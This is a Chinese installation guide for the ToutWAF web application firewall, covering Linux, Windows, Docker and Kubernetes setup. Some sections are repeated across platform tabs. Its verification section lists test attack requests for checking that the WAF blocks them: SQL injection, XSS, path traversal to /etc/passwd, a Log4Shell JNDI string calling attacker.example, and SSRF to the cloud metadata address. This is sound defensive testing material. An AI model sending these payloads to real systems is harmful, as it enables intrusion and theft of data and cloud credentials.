分步安装 ToutWAF
提供可直接复制粘贴的步骤,涵盖 AlmaLinux 10、其他 Linux 发行版、Windows、Docker 和 Kubernetes。原生二进制文件,无需安装运行时。之后运行向导、切换 DNS 并验证。
您安装的是哪个版本
目前公开的是名为 0.3.0-dev 的开发版。名称保持不变:每次发布都会替换上一次,并用构建编号区分两个构建。尚无稳定版:只有在每个系统和每个软件包都完成端到端测试之后,才会发布稳定版。因此本页的命令从 dev 通道安装。开发版可能存在缺陷:在依赖它之前,请先在测试站点上试用。
系统要求
64 位服务器(amd64 或 arm64),运行 Linux 或 Windows,具备 root 或管理员权限,且 80 和 443 端口空闲。控制台监听 9443 端口,位于一个秘密路径下。具体的要求与依赖见下方。
要求与依赖
您的服务器需要什么、安装程序会添加什么,以及哪些是可选的。
支持的系统
带 systemd 239 或更高版本和 glibc 2.28 或更高版本的 Linux,amd64 或 arm64:AlmaLinux、Rocky Linux、RHEL 和 Oracle Linux 8 至 10、CentOS Stream、Fedora、Amazon Linux 2023、Debian 11 至 13、Ubuntu 20.04 至 26.04、openSUSE 和 Arch(完整表格见下)。Windows 10、11 和 Server 2016 至 2025(尚未在真实 Windows 主机上运行)。安装程序会在修改任何内容之前检查您的系统。您从控制台添加的服务器:主机代理提供 Linux(amd64、arm64)和 Windows(amd64)版本。
网络端口
80 和 443:网页流量(数据平面)。9443:控制台(可用 --cp-port 修改)。9444:供数据平面节点和服务器代理使用的 API;安装程序不会开放它,请仅对您自己的服务器放行。127.0.0.1:9101:本地健康检查端点。UDP 443 保持关闭(未实现 HTTP/3)。服务器代理只向 9444 端口发起出站连接。
安装程序会做什么
需要 root 或管理员权限以及用于下载版本的出站 HTTPS。若缺少则安装 curl、tar 和 libcap(SELinux 系统上还有 policycoreutils-python-utils),创建无特权的 toutwaf 用户和唯一的安装主目录(/var/toutwaf,含 bin、conf、data 和 logs;可用 --home DIR 更改,较早的安装保留其路径),安装加固的 systemd 服务(Windows 上为 Windows 服务),让数据平面无需 root 即可绑定 80 和 443 端口,在 firewalld 或 ufw 处于启用状态时默认开放防火墙(80、443 和控制台端口;--console-from 限制控制台,--no-firewall 可关闭),为 SELinux 标记文件并校验 SHA-256。
安装程序语言
默认英语;安装程序会检测系统语言。可用 --fr --de --es --it --pt --nl --ru --zh --ar 或 --en 强制指定(Windows:-Fr 等,或环境变量 TOUTWAF_LANG)。
自包含的二进制文件
Data plane 用 Rust 编写,control plane 和代理用 Go 编写,控制台内嵌于 control plane。无需安装 Python、Node.js 或 Java 运行时,也无需数据库服务器:数据存储在 SQLite 中。Rust 数据平面需要 glibc 2.28 或更新版本。主要第三方组件:tokio、hyper 和 rustls(Rust),Svelte 和 xterm.js(控制台)。
可选组件
ClamAV 用于 Linux 主机的杀毒扫描(控制台可为您安装);Windows 上使用 Microsoft Defender。仅在启用发行版签名校验时才需要 openssl,仅在希望校验签名时才需要 cosign。不需要 Docker:Docker 和 Kubernetes 清单是另外的部署方式。
ToutPanel(网站托管服务器)
可通过控制台经 SSH 安装,或使用其自带安装程序。Linux:Debian 11 至 13、Ubuntu 20.04 至 24.04、AlmaLinux、Rocky Linux 和 RHEL 9 与 10、Fedora 40 及更高版本。Windows 10 和 11、Windows Server 2016 至 2025。需要 root 和 bash(Linux)或以管理员身份运行的 PowerShell 5.1+(Windows)、Python 3.9 至 3.14(发行版提供时由脚本安装)、至少 1 GB 内存(配合 MariaDB 和 PHP 建议 2 GB)、2 GB 可用磁盘外加您的站点,以及出站 HTTPS。其面板默认监听 8888 端口;80 和 443 端口用于站点。来源:ToutPanel 的 README。
ToutWAF 目前尚未公布最低 CPU、内存或磁盘要求:请用您自己的流量测试来确定服务器规格。
支持的系统
由安装程序在修改任何内容之前检查。状态来自安装程序自身的数据。
- tested 完整的容器安装测试已在该确切版本上通过。
- expected 同一系列,glibc 和 systemd 足够新,但未运行完整测试。
- unsupported 在任何修改之前被拒绝(可自担风险用 --skip-os-check 绕过)。
| 发行版 | 版本 |
|---|---|
| AlmaLinux | 10tested9tested8tested |
| Rocky Linux | 10tested9tested8tested |
| Red Hat Enterprise Linux | 10tested9tested8tested7unsupported |
| CentOS Stream | 10tested9tested8unsupported7unsupported |
| Oracle Linux | 10tested9tested8tested7unsupported |
| Fedora | 44tested43tested42tested41tested |
| Amazon Linux | 2023tested2unsupported |
| Debian | 13tested12tested11tested10unsupported |
| Ubuntu | 26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported |
| Linux Mint / LMDE | 所有版本expected |
| Pop!_OS | 所有版本expected |
| Zorin OS | 所有版本expected |
| elementary OS | 所有版本expected |
| Kali Linux | rollingexpected |
| Raspberry Pi OS (32-bit, Raspbian) | 所有版本unsupported |
| Devuan | 所有版本unsupported |
| openSUSE Leap | 16.0tested15.6tested |
| openSUSE Tumbleweed | rollingtested |
| openSUSE Slowroll | rollingexpected |
| SUSE Linux Enterprise Server | 16.0expected15.7expected15.6expected |
| SUSE Linux Micro / MicroOS / Aeon | 所有版本unsupported |
| openSUSE MicroOS / Aeon / Kalpa | 所有版本unsupported |
| Arch Linux | rollingtested |
| Manjaro | rollingexpected |
| EndeavourOS | rollingexpected |
| Garuda Linux | rollingexpected |
| CachyOS | rollingexpected |
| Artix Linux | 所有版本unsupported |
| Alpine Linux | 所有版本unsupported |
| Void Linux | 所有版本unsupported |
| NixOS | 所有版本unsupported |
| Windows | Windows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected |
设置向导:从零开始到站点受到保护
首次启动时,网页向导会带您从零开始,在检测模式下完成站点防护,而不会破坏任何东西。
域名与源站
填写公开域名和您服务器的地址。
自动证书
自动为您向所选机构(默认 Let's Encrypt)申请并续期证书。
技术栈识别
ToutWAF 可识别 WordPress、Laravel、Django 等。
策略模板
推荐合适的模板。您可以审阅,也可保留默认值。
检测模式
先分析几天流量但不拦截,随后生成报告。
切换为拦截
一键生效,一键回滚。
- ✓99.8% 的流量将被放行
- !3 条规则造成了 95% 的误报
- ✓已提出 3 条例外,待您审核
更新系统并安装前置依赖
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils使用一行命令安装脚本
脚本会下载适合您架构的原生二进制文件,创建专用的非特权用户,并安装经过加固的 systemd 服务 toutwaf-dp(数据平面,端口 80 和 443)与 toutwaf-cp(控制平面与控制台,端口 9443),然后打印首次登录信息。
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash想先阅读脚本?
先下载并审阅,再运行。推荐用于生产服务器。
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh安装程序选项
新安装位于单一的主目录 /var/toutwaf(包含 bin、conf、data 和 logs;可用 --home DIR 或 TOUTWAF_HOME 更改),命令行工具会链接到 /usr/local/bin。较早的安装保留自己的路径(/etc/toutwaf、/var/lib/toutwaf),绝不会被移动。
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev开放防火墙
当 firewalld 或 ufw 处于启用状态时,安装程序默认会开放这些端口:80 和 443,以及控制台端口 9443(可用 --console-from 限制为管理网络)。代理端口 9444 绝不会对公网开放。只有在使用 --no-firewall、使用其他防火墙或想手动操作时才需要下面的命令。
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-allSELinux
保持 SELinux 为 enforcing 模式。为 ToutWAF 目录设置标签,并确认没有记录 AVC 拒绝。
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recent管理服务
两个服务都会随系统启动。使用这些命令启动、停止或重启它们。
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp检查服务
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager升级
先备份配置和数据,再重新运行安装程序:它会保留您的设置,如果新版本未能恢复正常会自动回滚。这里显示的是新安装的路径(/var/toutwaf);较早的安装仍使用 /etc/toutwaf 和 /var/lib/toutwaf。您也可以在控制台的“更新”页面中升级。
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz卸载
第一段命令移除服务、二进制文件以及 ToutWAF 添加的防火墙规则,并保留您的数据。第二段还会删除配置、数据和日志。
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purge更新系统并安装前置依赖
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils使用一行命令安装脚本
脚本会下载适合您架构的原生二进制文件,创建专用的非特权用户,并安装经过加固的 systemd 服务 toutwaf-dp(数据平面,端口 80 和 443)与 toutwaf-cp(控制平面与控制台,端口 9443),然后打印首次登录信息。
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash想先阅读脚本?
先下载并审阅,再运行。推荐用于生产服务器。
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh安装程序选项
新安装位于单一的主目录 /var/toutwaf(包含 bin、conf、data 和 logs;可用 --home DIR 或 TOUTWAF_HOME 更改),命令行工具会链接到 /usr/local/bin。较早的安装保留自己的路径(/etc/toutwaf、/var/lib/toutwaf),绝不会被移动。
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev管理服务
两个服务都会随系统启动。使用这些命令启动、停止或重启它们。
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp检查服务
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager升级
先备份配置和数据,再重新运行安装程序:它会保留您的设置,如果新版本未能恢复正常会自动回滚。这里显示的是新安装的路径(/var/toutwaf);较早的安装仍使用 /etc/toutwaf 和 /var/lib/toutwaf。您也可以在控制台的“更新”页面中升级。
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz卸载
第一段命令移除服务、二进制文件以及 ToutWAF 添加的防火墙规则,并保留您的数据。第二段还会删除配置、数据和日志。
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purge安装前置依赖(apt)
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufw使用一行命令安装脚本
脚本会下载适合您架构的原生二进制文件,创建专用的非特权用户,并安装经过加固的 systemd 服务 toutwaf-dp(数据平面,端口 80 和 443)与 toutwaf-cp(控制平面与控制台,端口 9443),然后打印首次登录信息。
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash想先阅读脚本?
先下载并审阅,再运行。推荐用于生产服务器。
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh安装程序选项
新安装位于单一的主目录 /var/toutwaf(包含 bin、conf、data 和 logs;可用 --home DIR 或 TOUTWAF_HOME 更改),命令行工具会链接到 /usr/local/bin。较早的安装保留自己的路径(/etc/toutwaf、/var/lib/toutwaf),绝不会被移动。
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev开放防火墙(ufw)
当 firewalld 或 ufw 处于启用状态时,安装程序默认会开放这些端口:80 和 443,以及控制台端口 9443(可用 --console-from 限制为管理网络)。代理端口 9444 绝不会对公网开放。只有在使用 --no-firewall、使用其他防火墙或想手动操作时才需要下面的命令。
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw status管理服务
两个服务都会随系统启动。使用这些命令启动、停止或重启它们。
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp检查服务
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager升级
先备份配置和数据,再重新运行安装程序:它会保留您的设置,如果新版本未能恢复正常会自动回滚。这里显示的是新安装的路径(/var/toutwaf);较早的安装仍使用 /etc/toutwaf 和 /var/lib/toutwaf。您也可以在控制台的“更新”页面中升级。
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz卸载
第一段命令移除服务、二进制文件以及 ToutWAF 添加的防火墙规则,并保留您的数据。第二段还会删除配置、数据和日志。
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purge以管理员身份打开 PowerShell 并运行安装程序
安装原生二进制文件,为数据平面注册 Windows 服务 ToutWAF,为控制台注册开机任务,并开放防火墙端口。安装程序尚未在真实的 Windows 主机上运行过。
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iex开放防火墙
当 firewalld 或 ufw 处于启用状态时,安装程序默认会开放这些端口:80 和 443,以及控制台端口 9443(可用 --console-from 限制为管理网络)。代理端口 9444 绝不会对公网开放。只有在使用 --no-firewall、使用其他防火墙或想手动操作时才需要下面的命令。
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action Allow检查服务
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443升级
先备份配置和数据,再重新运行安装程序:它会保留您的设置,如果新版本未能恢复正常会自动回滚。这里显示的是新安装的路径(/var/toutwaf);较早的安装仍使用 /etc/toutwaf 和 /var/lib/toutwaf。您也可以在控制台的“更新”页面中升级。
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -Yes卸载
第一段命令移除服务、二进制文件以及 ToutWAF 添加的防火墙规则,并保留您的数据。第二段还会删除配置、数据和日志。
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -PurgeMac 或 Linux 上的 Docker Compose
在 Linux 或 Mac(Docker Desktop、OrbStack、Colima)上使用 Docker Compose 和一体化镜像(控制平面与数据平面)。相关文件随您的 ToutWAF 发行包提供(deploy 文件夹;公开仓库里没有它,公开仓库只有程序文件和安装程序)。镜像打包了每种架构的预编译二进制文件(bin/amd64 或 bin/arm64),目前尚未向镜像仓库发布镜像。只在 Linux amd64 上测试过;未在真实 Mac 上测试,在 Docker Desktop 之后看到的客户端 IP 是 Docker 网关地址。一次性凭据只会在控制平面日志中出现一次。
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cp升级(容器)
请先做备份。控制台里的更新按钮在容器中无法工作:请替换 bin 文件夹中的二进制文件(待发布镜像后则替换镜像)并重新构建;数据卷即您的数据会被保留。
docker compose up -d --build卸载
第一段命令移除服务、二进制文件以及 ToutWAF 添加的防火墙规则,并保留您的数据。第二段还会删除配置、数据和日志。
docker compose downdocker compose down -v使用 Helm 安装
把数据平面部署为 ingress,需要时可在集群内部署控制平面。Chart 和清单文件(含 sidecar 模式)位于您的 ToutWAF 发行包的 deploy 文件夹中,而不在公开仓库里,公开仓库只有程序文件和安装程序。运算符目前只有 CRD 和骨架。
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yaml检查 Pod 并打开控制台
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443升级(容器)
请先做备份。控制台里的更新按钮在容器中无法工作:请替换 bin 文件夹中的二进制文件(待发布镜像后则替换镜像)并重新构建;数据卷即您的数据会被保留。
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yaml卸载
第一段命令移除服务、二进制文件以及 ToutWAF 添加的防火墙规则,并保留您的数据。第二段还会删除配置、数据和日志。
helm uninstall toutwaf --namespace toutwafkubectl delete namespace toutwaf安装之后:配置并验证
首次登录
打开安装结束时显示的控制台秘密链接(控制台只在该路径下响应),然后使用一次性设置链接,或摘要中仅生成一次的管理员密码。请立即启用双因素认证,并创建第二个管理员,以免被锁在门外。
Console : https://<server>:9443/<secret-path>/ (printed by the installer)
CLI : toutwafctl --help
Health : http://127.0.0.1:9101/healthz (data plane, local only)添加第一个站点
在“站点”中点击“新建站点”,填写公开域名和上游(您服务器的真实地址)。先以仅检测模式运行,待报告结果干净后再切换为拦截。也可使用 REST API 和 API 令牌创建站点。
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
-H "Authorization: Bearer $TOUTWAF_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'切换 DNS
提前一天调低记录的 TTL。然后将域名的 A / AAAA 记录指向 ToutWAF 服务器。DNS 生效后将自动签发证书。请限制源站防火墙,使只有 ToutWAF 服务器能够访问源站。
example.com. 300 IN A 203.0.113.10
www.example.com. 300 IN CNAME example.com.sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcp用测试攻击进行验证
以下每个请求都应返回 403,并出现在“攻击”页面中(拦截模式下)。请仅对您自己的站点运行。
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/故障排查
无法通过 9443 端口访问控制台
在服务器上运行 ToutWAF 医生:它会检查本机的服务、端口和防火墙,并告诉您该怎么做。控制台本身无法访问时,它也能通过命令行运行;服务器前面的云安全组也必须放行 9443 端口。
合法请求被拦截(误报)
在“攻击”中打开该事件,阅读解释,然后点击误报按钮创建最窄的例外,或降低该站点的偏执级别。
502 Bad Gateway
ToutWAF 连不上您的源站。打开 ToutWAF 医生,看“源站服务器”一行:它会说明是端口拒绝了连接、域名无法解析,还是证书不受信任,并告诉您怎么做。也请检查源站的防火墙。
Let's Encrypt 证书签发失败
ToutWAF 医生会在申请前检查 DNS(包括遗留在 CDN 或代理上的 AAAA 记录)以及 80 端口是否可达。申请通配符证书请使用 DNS-01 验证。
我的应用中真实客户端 IP 不正确
读取 ToutWAF 设置的 X-Forwarded-For 头,并且仅在其来自 ToutWAF 服务器地址时才信任它。
日志在哪里?
请使用控制台的“日志”和“事件”页面。各服务也会写入本机的系统日志,医生还能生成可发给技术支持的文本报告。